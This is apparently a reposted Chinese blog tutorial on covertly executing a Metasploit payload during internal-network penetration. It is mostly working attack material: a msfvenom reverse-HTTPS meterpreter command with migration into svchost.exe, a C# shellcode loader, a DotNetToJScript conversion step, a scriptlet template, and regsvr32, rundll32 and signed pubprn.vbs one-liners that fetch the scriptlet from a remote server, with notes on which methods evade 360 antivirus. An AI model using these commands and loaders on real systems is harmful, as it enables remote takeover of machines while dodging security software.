前言
最近的在学习内网渗透过程中,遇到的一个问题就是如何静静的在目标机器执行Payload。网上姿势很多,最先想到的是PowerSploit,后来看到余弦的猥琐流打法影响深刻,于是动手实践,有些能被360监测到,过程如下:
一、Payload
msfvenom -p windows/meterpreter/reverse_https -a x86 --platform win -f csharp -o foo.csharp -b "\x00\xff" LHOST=10.51.90.60 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe
二、编译exe文件
新建的C#工程将Step 1生产的代码覆盖到 Paste your Payload here
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();
}
public static void RunMSF()
{
byte[] MsfPayload = {
//Paste your Payload here
};
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
三、二进制文件转换成脚本
使用 DotNetToJScript 工具将编译出来的exe文件转换成脚本文件,如JScript、VBScript、VBA:
>DotNetToJScript.exe -l JScript -o foo.js -c MSFWrapper.Program MSFWrapper.exe
到这一步,在目标主机通过Windows自带的命令行脚本执行工具 cscript.exe 运行我们的脚本即可执行Payload,成功免杀。但如果为了有更广泛的效果,我们可以通过sct,把脚本文件放到web server。
四、远程执行
将JS转换成sct文件上传到我们的Web Server
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Msf"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
//paste code here
</script>
</registration>
</scriptlet>
方法1:COM Scriptlet代码执行
Regsvr32工具通过网络下载一个COM脚本程序(.sct文件),然后在本地机器上注册一个DLL
c:\windows\SysWOW64\regsvr32 /s /u /n /i:https://10.51.90.203/demo/msf.sct c:\windows\SysWOW64\scrobj.dll
结果会被360提示
方法2:Rundll32远程执行
加载mshtml.dll调用RunHTMLApplication协议来执行scriptlet
c:\windows\syswow64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://10.51.90.203/lm/msf2.sct");this.close()
结果会被360提示
方法3:WSH脚本
PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\
c:\windows\SysWOW64\cscript.exe c:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://10.51.90.203/lm/msf2.sct
绕过360,shellcode被执行
注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。